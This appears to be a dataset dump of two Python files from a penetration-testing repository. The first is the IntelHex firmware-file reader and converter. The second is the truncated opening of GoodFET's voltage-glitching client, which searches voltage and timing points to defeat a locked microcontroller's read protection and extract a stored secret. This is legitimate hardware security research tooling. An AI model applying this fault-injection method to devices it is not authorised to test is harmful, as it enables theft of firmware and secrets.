DISCLAIMED. # IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, # OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED # AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. '''Intel HEX file format reader and converter. @author Alexander Belchenko (bialix AT ukr net) @version 1.1 ''' __docformat__ = "javadoc" from array import array from binascii import hexlify, unhexlify from bisect import bisect_right import os class IntelHex(object): ''' Intel HEX file reader. ''' def __init__(self, source=None): ''' Constructor. If source specified, object will be initialized with the contents of source. Otherwise the object will be empty. @param source source for initialization (file name of HEX file, file object, addr dict or other IntelHex object) ''' #public members self.padding = 0x0FF # Start Address self.start_addr = None # private members self._buf = {} self._offset = 0 if source is not None: if isinstance(source, basestring) or getattr(source, "read", None): # load hex file self.loadhex(source) elif isinstance(source, dict): self.fromdict(source) elif isinstance(source, IntelHex): self.padding = source.padding if source.start_addr: self.start_addr = source.start_addr.copy() self._buf = source._buf.copy() else: raise ValueError("source: bad initializer type") def _decode_record(self, s, line=0): '''Decode one record of HEX file. @param s line with HEX record. @param line line number (for error messages). @raise EndOfFile if EOF record encountered. ''' s = s.rstrip('\r\n') if not s: return # empty line if s[0] == ':': try: bin = array('B', unhexlify(s[1:])) except TypeError: # this might be raised by unhexlify when odd hexascii digits raise HexRecordError(line=line) length = len(bin) if length < 5: raise HexRecordError(line=line) else: raise HexRecordError(line=line) record_length = bin[0] if length != (5 + record_length): raise RecordLengthError(line=line) addr = bin[1]*256 + bin[2] record_type = bin[3] if not (0 <= record_type <= 5): raise RecordTypeError(line=line) crc = sum(bin) crc &= 0x0FF if crc != 0: raise RecordChecksumError(line=line) if record_type == 0: # data record addr += self._offset for i in xrange(4, 4+record_length): if not self._buf.get(addr, None) is None: raise AddressOverlapError(address=addr, line=line) self._buf[addr] = bin[i] addr += 1 # FIXME: addr should be wrapped # BUT after 02 record (at 64K boundary) # and after 04 record (at 4G boundary) elif record_type == 1: # end of file record if record_length != 0: raise EOFRecordError(line=line) raise _EndOfFile elif record_type == 2: # Extended 8086 Segment Record if record_length != 2 or addr != 0: raise ExtendedSegmentAddressRecordError(line=line) self._offset = (bin[4]*256 + bin[5]) * 16 elif record_type == 4: # Extended Linear Address Record if record_length != 2 or addr != 0: raise ExtendedLinearAddressRecordError(line=line) self._offset = (bin[4]*256 + bin[5]) * 65536 elif record_type == 3: # Start Segment Address Record if record_length != 4 or addr != 0: raise StartSegmentAddressRecordError(line=line) if self.start_addr: raise DuplicateStartAddressRecordError(line=line) self.start_addr = {'CS': bin[4]*256 + bin[5], 'IP': bin[6]*256 + bin[7], } elif record_type == 5: # Start Linear Address Record if record_length != 4 or addr != 0: raise StartLinearAddressRecordError(line=line) if self.start_addr: raise DuplicateStartAddressRecordError(line=line) self.start_addr = {'EIP': (bin[4]*16777216 + bin[5]*65536 + bin[6]*256 + bin[7]), } def loadhex(self, fobj): """Load hex file into internal buffer. This is not necessary if object was initialized with source set. This will overwrite addresses if object was already initialized. @param fobj file name or file-like object """ if getattr(fobj, "read", None) is None: fobj = file(fobj, "r") fclose = fobj.close else: fclose = None self._offset = 0 line = 0 try: decode = self._decode_record try: for s in fobj: line += 1 decode(s, line) except _EndOfFile: pass finally: if fclose: fclose() def loadbin(self, fobj, offset=0): """Load bin file into internal buffer. Not needed if source set in constructor. This will overwrite addresses without warning if object was already initialized. @param fobj file name or file-like object @param offset starting address offset """ fread = getattr(fobj, "read", None) if fread is None: f = file(fobj, "rb") fread = f.read fclose = f.close else: fclose = None try: for b in array('B', fread()): self._buf[offset] = b offset += 1 finally: if fclose: fclose() def loadfile(self, fobj, format): """Load data file into internal buffer. Preferred wrapper over loadbin or loadhex. @param fobj file name or file-like object @param format file format ("hex" or "bin") """ if format == "hex": self.loadhex(fobj) elif format == "bin": self.loadbin(fobj) else: raise ValueError('format should be either "hex" or "bin";' ' got %r instead' % format) # alias (to be consistent with method tofile) fromfile = loadfile def fromdict(self, dikt): """Load data from dictionary. Dictionary should contain int keys representing addresses. Values should be the data to be stored in those addresses in unsigned char form (i.e. not strings). The dictionary may contain the key, ``start_addr`` to indicate the starting address of the data as described in README. The contents of the dict will be merged with this object and will overwrite any conflicts. This function is not necessary if the object was initialized with source specified. """ s = dikt.copy() start_addr = s.get('start_addr') if s.has_key('start_addr'): del s['start_addr'] for k in s.keys(): if type(k) not in (int, long) or k < 0: raise ValueError('Source dictionary should have only int keys') self._buf.update(s) if start_addr is not None: self.start_addr = start_addr def _get_start_end(self, start=None, end=None): """Return default values for start and end if they are None """ if start is None: start = min(self._buf.keys()) if end is None: end = max(self._buf.keys()) if start > end: start, end = end, start return start, end def tobinarray(self, start=None, end=None, pad=None): ''' Convert this object to binary form as array. If start and end unspecified, they will be inferred from the data. @param start start address of output bytes. @param end end address of output bytes. @param pad fill empty spaces with this value (if None used self.padding). @return array of unsigned char data. ''' if pad is None: pad = self.padding bin = array('B') if self._buf == {}: return bin start, end = self._get_start_end(start, end) for i in xrange(start, end+1): bin.append(self._buf.get(i, pad)) return bin def tobinstr(self, start=None, end=None, pad=0xFF): ''' Convert to binary form and return as a string. @param start start address of output bytes. @param end end address of output bytes. @param pad fill empty spaces with this value (if None used self.padding). @return string of binary data. ''' return self.tobinarray(start, end, pad).tostring() def tobinfile(self, fobj, start=None, end=None, pad=0xFF): '''Convert to binary and write to file. @param fobj file name or file object for writing output bytes. @param start start address of output bytes. @param end end address of output bytes. @param pad fill empty spaces with this value (if None used self.padding). ''' if getattr(fobj, "write", None) is None: fobj = file(fobj, "wb") close_fd = True else: close_fd = False fobj.write(self.tobinstr(start, end, pad)) if close_fd: fobj.close() def todict(self): '''Convert to python dictionary. @return dict suitable for initializing another IntelHex object. ''' r = {} r.update(self._buf) if self.start_addr: r['start_addr'] = self.start_addr return r def addresses(self): '''Returns all used addresses in sorted order. @return list of occupied data addresses in sorted order. ''' aa = self._buf.keys() aa.sort() return aa def minaddr(self): '''Get minimal address of HEX content. @return minimal address or None if no data ''' aa = self._buf.keys() if aa == []: return None else: return min(aa) def maxaddr(self): '''Get maximal address of HEX content. @return maximal address or None if no data ''' aa = self._buf.keys() if aa == []: return None else: return max(aa) def __getitem__(self, addr): ''' Get requested byte from address. @param addr address of byte. @return byte if address exists in HEX file, or self.padding if no data found. ''' t = type(addr) if t in (int, long): if addr < 0: raise TypeError('Address should be >= 0.') return self._buf.get(addr, self.padding) elif t == slice: addresses = self._buf.keys() ih = IntelHex() if addresses: addresses.sort() start = addr.start or addresses[0] stop = addr.stop or (addresses[-1]+1) step = addr.step or 1 for i in xrange(start, stop, step): x = self._buf.get(i) if x is not None: ih[i] = x return ih else: raise TypeError('Address has unsupported type: %s' % t) def __setitem__(self, addr, byte): """Set byte at address.""" t = type(addr) if t in (int, long): if addr < 0: raise TypeError('Address should be >= 0.') self._buf[addr] = byte elif t == slice: addresses = self._buf.keys() if not isinstance(byte, (list, tuple)): raise ValueError('Slice operation expects sequence of bytes') start = addr.start stop = addr.stop step = addr.step or 1 if None not in (start, stop): ra = range(start, stop, step) if len(ra) != len(byte): raise ValueError('Length of bytes sequence does not match ' 'address range') elif (start, stop) == (None, None): raise TypeError('Unsupported address range') elif start is None: start = stop - len(byte) elif stop is None: stop = start + len(byte) if start < 0: raise TypeError('start address cannot be negative') if stop < 0: raise TypeError('stop address cannot be negative') j = 0 for i in xrange(start, stop, step): self._buf[i] = byte[j] j += 1 else: raise TypeError('Address has unsupported type: %s' % t) def __delitem__(self, addr): """Delete byte at address.""" t = type(addr) if t in (int, long): if addr < 0: raise TypeError('Address should be >= 0.') del self._buf[addr] elif t == slice: addresses = self._buf.keys() if addresses: addresses.sort() start = addr.start or addresses[0] stop = addr.stop or (addresses[-1]+1) step = addr.step or 1 for i in xrange(start, stop, step): x = self._buf.get(i) if x is not None: del self._buf[i] else: raise TypeError('Address has unsupported type: %s' % t) def __len__(self): """Return count of bytes with real values.""" return len(self._buf.keys()) def write_hex_file(self, f, write_start_addr=True): """Write data to file f in HEX format. @param f filename or file-like object for writing @param write_start_addr enable or disable writing start address record to file (enabled by default). If there is no start address in obj, nothing will be written regardless of this setting. """ fwrite = getattr(f, "write", None) if fwrite: fobj = f fclose = None else: fobj = file(f, 'w') fwrite = fobj.write fclose = fobj.close # Translation table for uppercasing hex ascii string. # timeit shows that using hexstr.translate(table) # is faster than hexstr.upper(): # 0.452ms vs. 0.652ms (translate vs. upper) table = ''.join(chr(i).upper() for i in range(256)) # start address record if any if self.start_addr and write_start_addr: keys = self.start_addr.keys() keys.sort() bin = array('B', '\0'*9) if keys == ['CS','IP']: # Start Segment Address Record bin[0] = 4 # reclen bin[1] = 0 # offset msb bin[2] = 0 # offset lsb bin[3] = 3 # rectyp cs = self.start_addr['CS'] bin[4] = (cs >> 8) & 0x0FF bin[5] = cs & 0x0FF ip = self.start_addr['IP'] bin[6] = (ip >> 8) & 0x0FF bin[7] = ip & 0x0FF bin[8] = (-sum(bin)) & 0x0FF # chksum fwrite(':' + hexlify(bin.tostring()).translate(table) + '\n') elif keys == ['EIP']: # Start Linear Address Record bin[0] = 4 # reclen bin[1] = 0 # offset msb bin[2] = 0 # offset lsb bin[3] = 5 # rectyp eip = self.start_addr['EIP'] bin[4] = (eip >> 24) & 0x0FF bin[5] = (eip >> 16) & 0x0FF bin[6] = (eip >> 8) & 0x0FF bin[7] = eip & 0x0FF bin[8] = (-sum(bin)) & 0x0FF # chksum fwrite(':' + hexlify(bin.tostring()).translate(table) + '\n') else: if fclose: fclose() raise InvalidStartAddressValueError(start_addr=self.start_addr) # data addresses = self._buf.keys() addresses.sort() addr_len = len(addresses) if addr_len: minaddr = addresses[0] maxaddr = addresses[-1] if maxaddr > 65535: need_offset_record = True else: need_offset_record = False high_ofs = 0 cur_addr = minaddr cur_ix = 0 while cur_addr <= maxaddr: if need_offset_record: bin = array('B', '\0'*7) bin[0] = 2 # reclen bin[1] = 0 # offset msb bin[2] = 0 # offset lsb bin[3] = 4 # rectyp high_ofs = int(cur_addr/65536) bytes = divmod(high_ofs, 256) bin[4] = bytes[0] # msb of high_ofs bin[5] = bytes[1] # lsb of high_ofs bin[6] = (-sum(bin)) & 0x0FF # chksum fwrite(':' + hexlify(bin.tostring()).translate(table) + '\n') while True: # produce one record low_addr = cur_addr & 0x0FFFF # chain_len off by 1 chain_len = min(15, 65535-low_addr, maxaddr-cur_addr) # search continuous chain stop_addr = cur_addr + chain_len if chain_len: ix = bisect_right(addresses, stop_addr, cur_ix, min(cur_ix+chain_len+1, addr_len)) chain_len = ix - cur_ix # real chain_len # there could be small holes in the chain # but we will catch them by try-except later # so for big continuous files we will work # at maximum possible speed else: chain_len = 1 # real chain_len bin = array('B', '\0'*(5+chain_len)) bytes = divmod(low_addr, 256) bin[1] = bytes[0] # msb of low_addr bin[2] = bytes[1] # lsb of low_addr bin[3] = 0 # rectype try: # if there is small holes we'll catch them for i in range(chain_len): bin[4+i] = self._buf[cur_addr+i] except KeyError: # we catch a hole so we should shrink the chain chain_len = i bin = bin[:5+i] bin[0] = chain_len bin[4+chain_len] = (-sum(bin)) & 0x0FF # chksum fwrite(':' + hexlify(bin.tostring()).translate(table) + '\n') # adjust cur_addr/cur_ix cur_ix += chain_len if cur_ix < addr_len: cur_addr = addresses[cur_ix] else: cur_addr = maxaddr + 1 break high_addr = int(cur_addr/65536) if high_addr > high_ofs: break # end-of-file record fwrite(":00000001FF\n") if fclose: fclose() def tofile(self, fobj, format): """Write data to hex or bin file. Preferred method over tobin or tohex. @param fobj file name or file-like object @param format file format ("hex" or "bin") """ if format == 'hex': self.write_hex_file(fobj) elif format == 'bin': self.tobinfile(fobj) else: raise ValueError('format should be either "hex" or "bin";' ' got %r instead' % format) def gets(self, addr, length): """Get string of bytes from given address. If any entries are blank from addr through addr+length, a NotEnoughDataError exception will be raised. Padding is not used.""" a = array('B', '\0'*length) try: for i in xrange(length): a[i] = self._buf[addr+i] except KeyError: raise NotEnoughDataError(address=addr, length=length) return a.tostring() def puts(self, addr, s): """Put string of bytes at given address. Will overwrite any previous entries. """ a = array('B', s) for i in xrange(len(s)): self._buf[addr+i] = a[i] def getsz(self, addr): """Get zero-terminated string from given address. Will raise NotEnoughDataError exception if a hole is encountered before a 0. """ i = 0 try: while True: if self._buf[addr+i] == 0: break i += 1 except KeyError: raise NotEnoughDataError(msg=('Bad access at 0x%X: ' 'not enough data to read zero-terminated string') % addr) return self.gets(addr, i) def putsz(self, addr, s): """Put string in object at addr and append terminating zero at end.""" self.puts(addr, s) self._buf[addr+len(s)] = 0 def dump(self, tofile=None): """Dump object content to specified file or to stdout if None. Format is a hexdump with some header information at the beginning, addresses on the left, and data on right. @param tofile file-like object to dump to """ if tofile is None: import sys tofile = sys.stdout # start addr possibly if self.start_addr is not None: cs = self.start_addr.get('CS') ip = self.start_addr.get('IP') eip = self.start_addr.get('EIP') if eip is not None and cs is None and ip is None: tofile.write('EIP = 0x%08X\n' % eip) elif eip is None and cs is not None and ip is not None: tofile.write('CS = 0x%04X, IP = 0x%04X\n' % (cs, ip)) else: tofile.write('start_addr = %r\n' % start_addr) # actual data addresses = self._buf.keys() if addresses: addresses.sort() minaddr = addresses[0] maxaddr = addresses[-1] startaddr = int(minaddr/16)*16 endaddr = int(maxaddr/16+1)*16 maxdigits = max(len(str(endaddr)), 4) templa = '%%0%dX' % maxdigits range16 = range(16) for i in xrange(startaddr, endaddr, 16): tofile.write(templa % i) tofile.write(' ') s = [] for j in range16: x = self._buf.get(i+j) if x is not None: tofile.write(' %02X' % x) if 32 <= x < 128: s.append(chr(x)) else: s.append('.') else: tofile.write(' --') s.append(' ') tofile.write(' |' + ''.join(s) + '|\n') def merge(this, other, overlap='error'): """Merge content of other IntelHex object to this object. @param other other IntelHex object. @param overlap action on overlap of data or starting addr: - error: raising OverlapError; - ignore: ignore other data and keep this data in overlapping region; - replace: replace this data with other data in overlapping region. @raise TypeError if other is not instance of IntelHex @raise ValueError if other is the same object as this @raise ValueError if overlap argument has incorrect value @raise AddressOverlapError on overlapped data """ # check args if not isinstance(other, IntelHex): raise TypeError('other should be IntelHex object') if other is this: raise ValueError("Can't merge itself") if overlap not in ('error', 'ignore', 'replace'): raise ValueError("overlap argument should be either " "'error', 'ignore' or 'replace'") # merge data this_buf = this._buf other_buf = other._buf for i in other_buf: if i in this_buf: if overlap == 'error': raise AddressOverlapError( 'Data overlapped at address 0x%X' % i) elif overlap == 'ignore': continue this_buf[i] = other_buf[i] # merge start_addr if this.start_addr != other.start_addr: if this.start_addr is None: # set start addr from other this.start_addr = other.start_addr elif other.start_addr is None: # keep this start addr pass else: # conflict if overlap == 'error': raise AddressOverlapError( 'Starting addresses are different') elif overlap == 'replace': this.start_addr = other.start_addr #/IntelHex class IntelHex16bit(IntelHex): """Access to data as 16-bit words.""" def __init__(self, source): """Construct class from HEX file or from instance of ordinary IntelHex class. If IntelHex object is passed as source, the original IntelHex object should not be used again because this class will alter it. This class leaves padding alone unless it was precisely 0xFF. In that instance it is sign extended to 0xFFFF. @param source file name of HEX file or file object or instance of ordinary IntelHex class. Will also accept dictionary from todict method. """ if isinstance(source, IntelHex): # from ihex8 self.padding = source.padding # private members self._buf = source._buf self._offset = source._offset else: IntelHex.__init__(self, source) if self.padding == 0x0FF: self.padding = 0x0FFFF def __getitem__(self, addr16): """Get 16-bit word from address. Raise error if only one byte from the pair is set. We assume a Little Endian interpretation of the hex file. @param addr16 address of word (addr8 = 2 * addr16). @return word if bytes exists in HEX file, or self.padding if no data found. """ addr1 = addr16 * 2 addr2 = addr1 + 1 byte1 = self._buf.get(addr1, None) byte2 = self._buf.get(addr2, None) if byte1 != None and byte2 != None: return byte1 | (byte2 << 8) # low endian if byte1 == None and byte2 == None: return self.padding raise BadAccess16bit(address=addr16) def __setitem__(self, addr16, word): """Sets the address at addr16 to word assuming Little Endian mode. """ addr_byte = addr16 * 2 bytes = divmod(word, 256) self._buf[addr_byte] = bytes[1] self._buf[addr_byte+1] = bytes[0] def minaddr(self): '''Get minimal address of HEX content in 16-bit mode. @return minimal address used in this object ''' aa = self._buf.keys() if aa == []: return 0 else: return min(aa)/2 def maxaddr(self): '''Get maximal address of HEX content in 16-bit mode. @return maximal address used in this object ''' aa = self._buf.keys() if aa == []: return 0 else: return max(aa)/2 #/class IntelHex16bit def hex2bin(fin, fout, start=None, end=None, size=None, pad=0xFF): """Hex-to-Bin convertor engine. @return 0 if all OK @param fin input hex file (filename or file-like object) @param fout output bin file (filename or file-like object) @param start start of address range (optional) @param end end of address range (optional) @param size size of resulting file (in bytes) (optional) @param pad padding byte (optional) """ try: h = IntelHex(fin) except HexReaderError, e: print "ERROR: bad HEX file: %s" % str(e) return 1 # start, end, size if size != None and size != 0: if end == None: if start == None: start = h.minaddr() end = start + size - 1 else: if (end+1) >= size: start = end + 1 - size else: start = 0 try: h.tobinfile(fout, start, end, pad) except IOError, e: print "ERROR: Could not write to file: %s: %s" % (fout, str(e)) return 1 return 0 #/def hex2bin def bin2hex(fin, fout, offset=0): """Simple bin-to-hex convertor. @return 0 if all OK @param fin input bin file (filename or file-like object) @param fout output hex file (filename or file-like object) @param offset starting address offset for loading bin """ h = IntelHex() try: h.loadbin(fin, offset) except IOError, e: print 'ERROR: unable to load bin file:', str(e) return 1 try: h.tofile(fout, format='hex') except IOError, e: print "ERROR: Could not write to file: %s: %s" % (fout, str(e)) return 1 return 0 #/def bin2hex class Record(object): """Helper methods to build valid ihex records.""" def _from_bytes(bytes): """Takes a list of bytes, computes the checksum, and outputs the entire record as a string. bytes should be the hex record without the colon or final checksum. @param bytes list of byte values so far to pack into record. @return String representation of one HEX record """ assert len(bytes) >= 4 # calculate checksum s = (-sum(bytes)) & 0x0FF bin = array('B', bytes + [s]) return ':' + hexlify(bin.tostring()).upper() _from_bytes = staticmethod(_from_bytes) def data(offset, bytes): """Return Data record. This constructs the full record, including the length information, the record type (0x00), the checksum, and the offset. @param offset load offset of first byte. @param bytes list of byte values to pack into record. @return String representation of one HEX record """ assert 0 <= offset < 65536 assert 0 < len(bytes) < 256 b = [len(bytes), (offset>>8)&0x0FF, offset&0x0FF, 0x00] + bytes return Record._from_bytes(b) data = staticmethod(data) def eof(): """Return End of File record as a string. @return String representation of Intel Hex EOF record """ return ':00000001FF' eof = staticmethod(eof) def extended_segment_address(usba): """Return Extended Segment Address Record. @param usba Upper Segment Base Address. @return String representation of Intel Hex USBA record. """ b = [2, 0, 0, 0x02, (usba>>8)&0x0FF, usba&0x0FF] return Record._from_bytes(b) extended_segment_address = staticmethod(extended_segment_address) def start_segment_address(cs, ip): """Return Start Segment Address Record. @param cs 16-bit value for CS register. @param ip 16-bit value for IP register. @return String representation of Intel Hex SSA record. """ b = [4, 0, 0, 0x03, (cs>>8)&0x0FF, cs&0x0FF, (ip>>8)&0x0FF, ip&0x0FF] return Record._from_bytes(b) start_segment_address = staticmethod(start_segment_address) def extended_linear_address(ulba): """Return Extended Linear Address Record. @param ulba Upper Linear Base Address. @return String representation of Intel Hex ELA record. """ b = [2, 0, 0, 0x04, (ulba>>8)&0x0FF, ulba&0x0FF] return Record._from_bytes(b) extended_linear_address = staticmethod(extended_linear_address) def start_linear_address(eip): """Return Start Linear Address Record. @param eip 32-bit linear address for the EIP register. @return String representation of Intel Hex SLA record. """ b = [4, 0, 0, 0x05, (eip>>24)&0x0FF, (eip>>16)&0x0FF, (eip>>8)&0x0FF, eip&0x0FF] return Record._from_bytes(b) start_linear_address = staticmethod(start_linear_address) class _BadFileNotation(Exception): """Special error class to use with _get_file_and_addr_range.""" pass def _get_file_and_addr_range(s, _support_drive_letter=None): """Special method for hexmerge.py script to split file notation into 3 parts: (filename, start, end) @raise _BadFileNotation when string cannot be safely split. """ if _support_drive_letter is None: _support_drive_letter = (os.name == 'nt') drive = '' if _support_drive_letter: if s[1:2] == ':' and s[0].upper() in ''.join([chr(i) for i in range(ord('A'), ord('Z')+1)]): drive = s[:2] s = s[2:] parts = s.split(':') n = len(parts) if n == 1: fname = parts[0] fstart = None fend = None elif n != 3: raise _BadFileNotation else: fname = parts[0] def ascii_hex_to_int(ascii): if ascii is not None: try: return int(ascii, 16) except ValueError: raise _BadFileNotation return ascii fstart = ascii_hex_to_int(parts[1] or None) fend = ascii_hex_to_int(parts[2] or None) return drive+fname, fstart, fend ## # IntelHex Errors Hierarchy: # # IntelHexError - basic error # HexReaderError - general hex reader error # AddressOverlapError - data for the same address overlap # HexRecordError - hex record decoder base error # RecordLengthError - record has invalid length # RecordTypeError - record has invalid type (RECTYP) # RecordChecksumError - record checksum mismatch # EOFRecordError - invalid EOF record (type 01) # ExtendedAddressRecordError - extended address record base error # ExtendedSegmentAddressRecordError - invalid extended segment address record (type 02) # ExtendedLinearAddressRecordError - invalid extended linear address record (type 04) # StartAddressRecordError - start address record base error # StartSegmentAddressRecordError - invalid start segment address record (type 03) # StartLinearAddressRecordError - invalid start linear address record (type 05) # DuplicateStartAddressRecordError - start address record appears twice # InvalidStartAddressValueError - invalid value of start addr record # _EndOfFile - it's not real error, used internally by hex reader as signal that EOF record found # BadAccess16bit - not enough data to read 16 bit value (deprecated, see NotEnoughDataError) # NotEnoughDataError - not enough data to read N contiguous bytes class IntelHexError(Exception): '''Base Exception class for IntelHex module''' _fmt = 'IntelHex base error' #: format string def __init__(self, msg=None, **kw): """Initialize the Exception with the given message. """ self.msg = msg for key, value in kw.items(): setattr(self, key, value) def __str__(self): """Return the message in this Exception.""" if self.msg: return self.msg try: return self._fmt % self.__dict__ except (NameError, ValueError, KeyError), e: return 'Unprintable exception %s: %s' \ % (self.__class__.__name__, str(e)) class _EndOfFile(IntelHexError): """Used for internal needs only.""" _fmt = 'EOF record reached -- signal to stop read file' class HexReaderError(IntelHexError): _fmt = 'Hex reader base error' class AddressOverlapError(HexReaderError): _fmt = 'Hex file has data overlap at address 0x%(address)X on line %(line)d' # class NotAHexFileError was removed in trunk.revno.54 because it's not used class HexRecordError(HexReaderError): _fmt = 'Hex file contains invalid record at line %(line)d' class RecordLengthError(HexRecordError): _fmt = 'Record at line %(line)d has invalid length' class RecordTypeError(HexRecordError): _fmt = 'Record at line %(line)d has invalid record type' class RecordChecksumError(HexRecordError): _fmt = 'Record at line %(line)d has invalid checksum' class EOFRecordError(HexRecordError): _fmt = 'File has invalid End-of-File record' class ExtendedAddressRecordError(HexRecordError): _fmt = 'Base class for extended address exceptions' class ExtendedSegmentAddressRecordError(ExtendedAddressRecordError): _fmt = 'Invalid Extended Segment Address Record at line %(line)d' class ExtendedLinearAddressRecordError(ExtendedAddressRecordError): _fmt = 'Invalid Extended Linear Address Record at line %(line)d' class StartAddressRecordError(HexRecordError): _fmt = 'Base class for start address exceptions' class StartSegmentAddressRecordError(StartAddressRecordError): _fmt = 'Invalid Start Segment Address Record at line %(line)d' class StartLinearAddressRecordError(StartAddressRecordError): _fmt = 'Invalid Start Linear Address Record at line %(line)d' class DuplicateStartAddressRecordError(StartAddressRecordError): _fmt = 'Start Address Record appears twice at line %(line)d' class InvalidStartAddressValueError(StartAddressRecordError): _fmt = 'Invalid start address value: %(start_addr)s' class NotEnoughDataError(IntelHexError): _fmt = ('Bad access at 0x%(address)X: ' 'not enough data to read %(length)d contiguous bytes') class BadAccess16bit(NotEnoughDataError): _fmt = 'Bad access at 0x%(address)X: not enough data to read 16 bit value'
41,282
Python
.py
971
31.189495
107
0.549232
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,832
GoodFETGlitch.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETGlitch.py
#!/usr/bin/env python # GoodFET Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, time, string, cStringIO, struct, glob, serial, os, random; import sqlite3; from GoodFET import *; # After four million points, this kills 32-bit gnuplot. # Dumping to a bitmap might be preferable. script_timevcc=""" plot "< sqlite3 glitch.db 'select time,vcc,glitchcount from glitches where count=0;'" \ with dots \ title "Scanned", \ "< sqlite3 glitch.db 'select time,vcc,count from glitches where count>0;'" \ with dots \ title "Success", \ "< sqlite3 glitch.db 'select time,vcc,count from glitches where count>0 and lock>0;'" \ with dots \ title "Exploited" """; script_timevccrange=""" plot "< sqlite3 glitch.db 'select time,vcc,glitchcount from glitches where count=0;'" \ with dots \ title "Scanned", \ "< sqlite3 glitch.db 'select time,vcc,count from glitches where count>0;'" \ with dots \ title "Success", \ "< sqlite3 glitch.db 'select time,max(vcc),count from glitches where count=0 group by time ;'" with lines title "Max", \ "< sqlite3 glitch.db 'select time,min(vcc),count from glitches where count>0 group by time ;'" with lines title "Min" """; class GoodFETGlitch(GoodFET): def __init__(self, *args, **kargs): print "# Initializing GoodFET Glitcher." #Database connection w/ 30 second timeout. self.db=sqlite3.connect("glitch.db",30000); #Training self.db.execute("create table if not exists glitches(time,vcc,gnd,trials,glitchcount,count,lock);"); self.db.execute("create index if not exists glitchvcc on glitches(vcc);"); self.db.execute("create index if not exists glitchtime on glitches(time);"); #Exploitation record, to be built from the training table. self.db.execute("create table if not exists exploits(time,vcc,gnd,trials,count);"); self.db.execute("create index if not exists exploitvcc on exploits(vcc);"); self.db.execute("create index if not exists exploittime on exploits(time);"); self.client=0; def setup(self,arch="avr"): self.client=getClient(arch); self.client.serInit(); def glitchvoltages(self,time): """Returns list of voltages to train at.""" c=self.db.cursor(); #c.execute("""select # (select min(vcc) from glitches where time=? and count=1), # (select max(vcc) from glitches where time=? and count=0);""", # [time, time]); c.execute("select min,max from glitchrange where time=? and max-min>0;",[time]); rows=c.fetchall(); for r in rows: min=r[0]; max=r[1]; if(min==None or max==None): return []; spread=max-min; return range(min,max,1); #If we get here, there are no points. Return empty set. return []; def crunch(self): """This builds tables for glitching voltage ranges from the training set.""" print "Precomputing glitching ranges. This might take a long while."; print "Times..."; sys.stdout.flush(); self.db.execute("drop table if exists glitchrange;"); self.db.execute("create table glitchrange(time integer primary key asc,max,min);"); self.db.commit(); print "Calculating ranges..."; sys.stdout.flush(); maxes={}; mins={}; c=self.db.cursor(); c.execute("select time,vcc,count from glitches;"); #Limit 10000 for testing. progress=0; for r in c: progress=progress+1; if progress % 1000000==0: print "%09i rows crunched." % progress; t=r[0]; v=r[1]; count=r[2]; if count==0: try: oldmax=maxes[t]; except: oldmax=-1; if v>oldmax: maxes[t]=v; elif count==1: try: oldmin=mins[t]; except: oldmin=0x10000; if v<oldmin: mins[t]=v; print "List complete. Inserting."; for t in maxes: max=maxes[t]; try: min=mins[t]; except: min=0; self.db.execute("insert into glitchrange(time,max,min) values (?,?,?)",(t,max,min)); self.db.commit(); print "Done, database crunched."; def graphx11(self): try: import Gnuplot, Gnuplot.PlotItems, Gnuplot.funcutils except ImportError: print "gnuplot-py is missing. Can't graph." return; g = Gnuplot.Gnuplot(debug=1); g.clear(); g.title('Glitch Training Set'); g.xlabel('Time (16MHz)'); g.ylabel('VCC (DAC12)'); g('set datafile separator "|"'); g(script_timevcc); print "^C to exit."; while 1==1: time.sleep(30); def graph(self): import Gnuplot, Gnuplot.PlotItems, Gnuplot.funcutils g = Gnuplot.Gnuplot(debug=1); g('\nset term png'); g.title('Glitch Training Set'); g.xlabel('Time (16MHz)'); g.ylabel('VCC (DAC12)'); g('set datafile separator "|"'); g('set term png'); g('set output "timevcc.png"'); g(script_timevcc); def points(self): c=self.db.cursor(); c.execute("select time,vcc,gnd,glitchcount,count from glitches where lock=0 and count>0;"); print "time vcc gnd glitchcount count"; for r in c: print "%i %i %i %i %i" % r; def npoints(self): c=self.db.cursor(); c.execute("select time,vcc,gnd,glitchcount,count from glitches where lock=0 and count=0;"); print "time vcc gnd glitchcount count"; for r in c: print "%i %i %i %i %i" % r; #GnuPlot sucks for large sets. Switch to viewpoints soon. # sqlite3 glitch.db "select time,vcc,count from glitches where count=0" | vp -l -d "|" -I def explore(self,tstart=0,tstop=-1, trials=1): """Exploration phase. Uses thresholds to find exploitable points.""" gnd=0; self.scansetup(1); #Lock the chip, place key in eeprom. if tstop<0: tstop=self.client.glitchstarttime(); times=range(tstart,tstop); random.shuffle(times); #self.crunch(); count=0.0; total=1.0*len(times); c=self.db.cursor(); c.execute("select time,min,max from glitchrange where max-min>0;"); rows=c.fetchall(); c.close(); random.shuffle(rows); for r in rows: t=r[0]; min=r[1]; max=r[2]; voltages=range(min,max,1); count=count+1.0; print "%02.02f Exploring %04i points in t=%04i." % (count/total,len(voltages),t); sys.stdout.flush(); for vcc in voltages: self.scanat(1,trials,vcc,gnd,t); def learn(self): """Learning phase. Finds thresholds at which the chip screws up.""" trials=1; lock=0; #1 locks, 0 unlocked vstart=0; vstop=1024; #Could be as high as 0xFFF, but upper range is useless vstep=1; tstart=0; tstop=self.client.glitchstarttime(); tstep=0x1; #Must be 1 self.scan(lock,trials,range(vstart,vstop),range(tstart,tstop)); print "Learning phase complete, beginning to expore."; self.explore(); def scansetup(self,lock): client=self.client; client.start(); client.erase(); self.secret=0x69; while(client.eeprompeek(0)!=self.secret): print "-- Setting secret"; client.start(); #Flash the secret to the first two bytes of CODE memory. client.erase(); client.eeprompoke(0,self.secret); client.eeprompoke(1,self.secret); 